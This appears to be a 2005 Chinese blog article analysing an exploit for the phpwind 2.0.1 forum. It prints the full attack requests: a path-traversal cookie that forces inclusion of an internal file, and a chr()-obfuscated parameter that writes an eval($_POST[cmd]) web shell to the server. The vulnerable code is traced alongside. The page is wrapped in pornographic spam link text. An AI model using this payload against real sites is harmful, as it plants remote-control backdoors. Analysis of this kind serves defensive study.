国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

分析phpwind2.0.1漏洞
2005-12-17   

貓貓傳給我一個phpwind2.0.1漏洞利用程序,可以直接在目錄中寫入一個木馬。怎么說呢,這個漏洞是pinkeyes發現的,本文旨在分析這個漏洞的思路。直到發現這個漏洞是怎么產生的,我還在冒虛汗中,同時pinkeyes 的睿智深深的打動了我,原來我才明白什么才是真正的技術含量。且聽我慢慢道來:
在程序運行時,我抓了一個包:


GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=<?fputs(fopen
(chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

GET /phpwind//attachment/set.php HTTP/1.1
Content-Type: text/html
Cookie:skinco=../../require/hidden;
Host: www.5a609.com:81
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

Chr()里的那些東西我查了一下ascii字符表,得到的是這樣的:
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
很顯然是在error.php里寫入一行php木馬:<? eval($_post[cmd]);?> 。
所以關鍵是:
GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出處。這兩個東西很重要!于是我下了一個phpwind 2.0.1的程序看看,開始以為是job.php有問題。進入job.php中,只發現如下代碼:

elseif($previewjob=='preview'){
require_once(R_P.'require/bbscode.php');
require_once(R_P.'header.php');
if (empty($skin)) $skin=$db_defaultstyle;
if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
}
好,在失望的同時也發現了$skin一定有問題,job.php文件頭有個:require_once("./global.php");
接著我們來看看global.php里面的$skin參數吧:

if ($db_refreshtime!=0){
if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
!$_COOKIE['winduid'] && $groupid='guest';
$skin=$skinco ? $skinco : $db_defaultstyle;
Showmsg("refresh_limit");
}
哦,只要我們定義了$skinco就可以滿足$skin了!所以再找找$skinco吧,$skinco只有一處解釋,其后,并沒有做任何過濾:
if($skinco && file_exists(R_P."data/style/$skinco.php")){
Cookie('skinco',$skinco);
哈哈,好輕松,只要存在就可以?這樣只要構造一個cookie就完全可以實現。咦?$skinco我們好象哪里見過。果然,就是上面抓的包里面的:
Cookie:skinco=../../require/hidden;
這樣就更加證明我的思路是正確的,風回路轉呀。又不得不佩服這樣精彩的手法,按照pinkeyes的思路:構造后應該是這樣的:
data/style/../../require/hidden.php
也就是./require/hidden.php。
這樣也就是滿足了job.php中的

if (file_exists(R_P."data/style/$skin.php")){
include_once("data/style/$skin.php");
到這里,先告一段落,我們回個頭想想。我們分析這么多就是pinkeyes要為了包含一個文件:./require/hidden.php。這就奇怪了,為什么這么pinkeyes要千方百計的來包含 ./require/hidden.php呢?直接利用不可以嗎?這個hidden.php到底是個什么樣的文件呢?恩,下面的解釋會讓你有一個滿意的答案。
我小心翼翼的打開hidden.php


<?php
!function_exists('readover') && exit('Forbidden');
$newonline="<>\t$timestamp\t$onlineip\t$fidwt\t$tidwt\t$groupid\t$wherebbsyou\t$acttime\t$uid\t$windid\t";
$newonline=str_pad($newonline,$db_olsize)."\n";
$onlineuser=readover(R_P.$D_name);
if($offset=strpos($onlineuser,"\t".$windid."\t")){
$inselectfile='N';
$offset=strpos($onlineuser,"\n",$offset-$db_olsize);$offset+=1;/*會員名不在開始需要轉換指針*/
writeinline(R_P.$D_name,$newonline,$offset);
}elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."\n")){
writeinline(R_P.$D_name,$newonline,$offset);
}else{
writeover(R_P.$D_name,$newonline,"ab");
}
?>

看到這里,所有的疑團都解開了!
1.原來文件頭多了個
!function_exists('readover') && exit('Forbidden');
這樣直接訪問是不允許的,后面的代碼也不會執行,這樣我明白pinkeyes的苦心多走彎路來努力用include來包含這個文件
2 這個文件里有writeline()是可以寫入木馬的。$newonline正好也定義了$tidwt,所以最后的writeline()把$tidwt也寫進去了。
寫入到了d_name 所定義的set.php這個臨時文件里。本來這樣就可以寫入一個小木馬了,只要使$tidwt為編碼:<? eval($_post[cmd]);?>就可以的。但是可能是pinkeyes考慮到set.php里的東西比較亂。所以煞費苦心的用
<?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
寫入一個更簡單的木馬到error.php里!這樣才多了我們抓的第二個包:
GET /phpwind//attachment/set.php HTTP/1.1
。。。。。。。。。
后記:我感覺自己寫偵探小說還不錯,技術嘛,哎。。。。


熱詞搜索:

上一篇:動網的新災難-插件漏洞
下一篇:靈巧的腳本攻擊

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国内久久精品视频| 亚洲成a人v欧美综合天堂下载| 92精品国产成人观看免费| 中文字幕中文在线不卡住| 日韩一区二区在线观看| 欧美日韩综合不卡| 国产91丝袜在线播放九色| 免费在线成人网| 日韩av一二三| 午夜精品福利一区二区三区av| 欧美va在线播放| 欧美大片一区二区| 91麻豆精品国产91久久久资源速度| 不卡的电视剧免费网站有什么| 激情综合一区二区三区| 免费看日韩精品| 日本欧美一区二区| 亚洲精品少妇30p| ...中文天堂在线一区| 国产精品欧美综合在线| 久久精品亚洲麻豆av一区二区 | 26uuu国产日韩综合| 日本道免费精品一区二区三区| 国产91在线看| 99国产精品国产精品毛片| 亚洲综合一区二区三区| 一级精品视频在线观看宜春院| 亚洲欧洲国产专区| 亚洲一区二区五区| 日韩经典中文字幕一区| 亚洲精品国产一区二区三区四区在线| 一区在线观看视频| 亚洲一区在线观看网站| 午夜精品在线视频一区| 免费欧美高清视频| 国产福利一区二区三区视频| 国产一区二区三区免费看| 国产不卡视频一区| 91网站在线观看视频| 在线免费亚洲电影| 91精品国产丝袜白色高跟鞋| 久久综合狠狠综合| 精品久久久久久久一区二区蜜臀| 亚洲精品一区在线观看| 国产精品少妇自拍| 亚洲电影第三页| 国产麻豆精品95视频| 色先锋aa成人| 4hu四虎永久在线影院成人| 精品国产91亚洲一区二区三区婷婷 | 免费精品视频在线| 成人午夜激情影院| 欧美日韩欧美一区二区| 欧美本精品男人aⅴ天堂| 亚洲欧洲日韩女同| 蜜桃免费网站一区二区三区| 成人h精品动漫一区二区三区| 欧美艳星brazzers| 中文字幕第一区二区| 中文字幕亚洲电影| 蜜桃视频在线一区| 欧美日韩高清影院| 久久女同性恋中文字幕| 亚洲一区二区三区自拍| 国产成人福利片| 91麻豆精品91久久久久久清纯| 国产午夜精品一区二区| 天天影视涩香欲综合网| 国产做a爰片久久毛片| 日本高清不卡视频| 日本一区二区三区四区在线视频| 亚洲va天堂va国产va久| 99re热视频这里只精品| 久久久久久久综合| 人人超碰91尤物精品国产| av亚洲精华国产精华精华| 久久综合国产精品| 欧美aaa在线| 成人黄色软件下载| 久久亚洲二区三区| 久久精品国产**网站演员| 欧美午夜影院一区| 亚洲蜜臀av乱码久久精品蜜桃| 懂色av一区二区三区蜜臀| 91久久一区二区| 亚洲天堂成人在线观看| 国产成人免费在线观看不卡| 久久综合色天天久久综合图片| 日本伊人色综合网| 欧美视频一区二区在线观看| 亚洲另类色综合网站| 99久久er热在这里只有精品15| 中文字幕精品三区| 成人小视频免费在线观看| 国产日韩欧美不卡| 成人免费视频视频| 欧美激情资源网| 成人性生交大片免费看中文 | 91精品久久久久久久99蜜桃| 亚洲成人中文在线| 欧美日韩国产高清一区二区三区 | 亚洲成年人网站在线观看| 欧美手机在线视频| 亚洲va在线va天堂| 欧美一卡二卡三卡四卡| 美女高潮久久久| 精品视频在线视频| 日韩av成人高清| 337p粉嫩大胆噜噜噜噜噜91av| 国产在线视频一区二区三区| 久久夜色精品国产欧美乱极品| 福利一区二区在线| 欧美一区二区美女| 国内精品视频一区二区三区八戒| 久久精品人人做| 丁香另类激情小说| 亚洲影院免费观看| 日韩欧美一二三| 91国偷自产一区二区开放时间| 久久99国产乱子伦精品免费| 亚洲天堂成人在线观看| 精品精品国产高清一毛片一天堂| 91影院在线免费观看| 精品一区二区三区蜜桃| 亚洲一区二区在线视频| 久久久久久免费网| 制服丝袜av成人在线看| 91老司机福利 在线| 国产精品中文字幕日韩精品| 亚洲mv在线观看| 日韩毛片高清在线播放| 久久亚洲精华国产精华液| 91精品国产品国语在线不卡| 97精品国产露脸对白| 国产传媒久久文化传媒| 麻豆精品国产传媒mv男同| 一区二区久久久久| 国产精品大尺度| 欧美国产精品劲爆| 久久一区二区三区四区| 日韩欧美一级二级三级久久久| 欧美日韩在线播放三区四区| 91免费视频网址| 成人一区二区三区视频在线观看| 激情伊人五月天久久综合| 欧美亚洲综合色| 精品国产一区a| 国产a区久久久| 日本午夜精品一区二区三区电影| 日韩免费高清av| 6080yy午夜一二三区久久| 三级不卡在线观看| 欧美日韩1区2区| 韩国精品主播一区二区在线观看| 6080日韩午夜伦伦午夜伦| 91久久免费观看| 日本乱人伦aⅴ精品| 91在线小视频| 99视频一区二区| heyzo一本久久综合| av一区二区不卡| 亚洲国产日日夜夜| 青青草国产精品亚洲专区无| 亚洲高清免费在线| 欧美亚洲一区二区在线观看| 成人精品一区二区三区中文字幕 | 精品电影一区二区| 亚洲女人的天堂| 国产高清精品在线| 精品视频在线免费观看| 国产精品午夜久久| 久久不见久久见免费视频7 | 成人一二三区视频| 91精品国产综合久久久久久| 自拍偷拍亚洲欧美日韩| 久久99蜜桃精品| 精品1区2区3区| 亚洲四区在线观看| 国产成人综合网站| 337p粉嫩大胆色噜噜噜噜亚洲 | 国内精品国产成人| 精品视频一区二区不卡| 国产精品不卡在线| 成人精品鲁一区一区二区| 日韩视频在线观看一区二区| 一区二区日韩av| 色综合久久88色综合天天| 综合自拍亚洲综合图不卡区| 国产美女精品人人做人人爽| 日韩亚洲欧美高清| 丝袜美腿亚洲色图| 欧美视频一区在线| 亚洲va欧美va国产va天堂影院| 一本到高清视频免费精品| 亚洲色图制服诱惑| 91亚洲精华国产精华精华液| 国产精品乱码久久久久久| 成人h精品动漫一区二区三区| 国产喷白浆一区二区三区| 国产精品自拍三区|